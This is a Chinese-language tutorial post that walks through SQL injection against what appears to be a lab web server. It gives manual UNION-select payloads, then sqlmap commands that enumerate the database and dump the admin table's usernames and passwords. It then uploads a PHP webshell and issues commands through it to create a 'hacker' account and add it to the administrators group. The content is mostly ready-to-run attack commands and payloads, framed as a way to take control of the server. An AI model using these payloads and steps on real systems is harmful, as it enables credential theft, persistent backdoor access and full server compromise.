sqlmap超详细讲解

什么是SQL注入:所谓SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求查询的字符串,最终达到欺骗服务器执行恶意的SQL命令,假如管理员没有对id参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询.

手工注入

第一步找到漏洞链接

sqlmap超详细讲解_第1张图片第二步获取列长度 说明目前使用的数据库表格只有3列

order by 3#

sqlmap超详细讲解_第2张图片sqlmap超详细讲解_第3张图片

第三步使用联合查询从而获当前用户和数据名与数据库版本

union select user(),database(),version()#

sqlmap超详细讲解_第4张图片第四步查询所有表格,我们已经知道目前所使用的数据库名是zkpy接下来我们查询表格名字

union select 1,2,table_name from information_schema.tables where table_schema='zkpy'#

回显出二个表格名称

sqlmap超详细讲解_第5张图片

第五步我们查看表格里面列 我们先猜解admin表吧 因为admin是管理员所以我们先猜它

union select 1,2,column_name from information_schema.columns where table_name='admin'#

回显信息列有 id,username,password

sqlmap超详细讲解_第6张图片第六步我们进行查看username和password里面内容

union select 1,username,password from admin--+

可以看出账号是alpha密码是zkpy00Q

sqlmap超详细讲解_第7张图片

如果感觉手工注入麻烦的话,下面给大家带来二个工具注入sql,使用起来更简洁更方便更快,更有效率的来获取你想知道的内容

sqlmap工具注入

sqlmap是基于注入的一个工具,从而达到轻松获取内容

sqlmap -u "URL" --batch       --batch代表全自动 不用我们手动输入y/n

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1"

sqlmap超详细讲解_第8张图片

有漏洞接下来我们查看当前使用的数据库

 sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-db --batch

sqlmap超详细讲解_第9张图片

查看当前数据库使用的用户是谁

 sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-user --batch

sqlmap超详细讲解_第10张图片

查看当前数据库是否是管理员权限 

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --is-dba --batch  回显True就代表是管理员

sqlmap超详细讲解_第11张图片

接下来我们来报表格 当前所使用的数据库是zkpy

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy --tables --batch

sqlmap超详细讲解_第12张图片

回显信息显示有admin表格和news表  admin为管理员所以先破解admin表

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin --columns --batch

admin表格里面有3列,分别是 id,username,password

sqlmap超详细讲解_第13张图片

接下来我们导出这三列内容   --batch为导出

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin -C id,username,password --dump --batch 

接下来就完毕了,成功获取用户名与密码

sqlmap超详细讲解_第14张图片

接下来我们使用sqlmap传递一个php脚本从而获取控制服务器

我们使用sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --os-shell来查看网页根目录

sqlmap超详细讲解_第15张图片

网页根目录是 C:/phpstudy/www 这是一个windows windows不区分大小写我们怎么样写都行

我们首先编辑一个木马文件 创建文件名为 shell.php

首先使用sqlmap上传文件 靶机my.ini配置文件里面必须开启这一项 否者不可上传不可读

接下来我们使用sqlmap上传一下shell.php文件

--file-write 是写入文件使用我们木马路径   --file-dest 是目的地 使用对方网页路径

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --file-write "/root/shell.php" --file-dest "c:/phpstudy/www/shell.php"

然后到浏览器访问我们刚才上传的木马即可 查看php信息

http://172.16.15.24/shell.php?CMD=phpinfo();

sqlmap超详细讲解_第16张图片

查看靶机权限

http://172.16.15.24/shell.php?CMD=echo passthru('whoami');

sqlmap超详细讲解_第17张图片

创建hacker用户

http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker 1234560.0 /add');

sqlmap超详细讲解_第18张图片

授予用户管理员组让hacker用户也可以享受管理员权限

http://172.16.15.24/shell.php?CMD=echo passthru('net localgroup administrators hacker /add');

sqlmap超详细讲解_第19张图片

下面查看一下hacker用户是否存在 如果存在的话是什么权限

快捷方式你也可以使用 http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker');

http://172.16.15.24/shell.php?CMD=echo passthru('net user'); 

可以看到hacker用户存在的接下来查看一下它是什么组

接下来我们就可以任意执行代码了 也可以上传php脚本里面的include和require文件包含

sqlmap超详细讲解_第20张图片

你可能感兴趣的:(网络安全)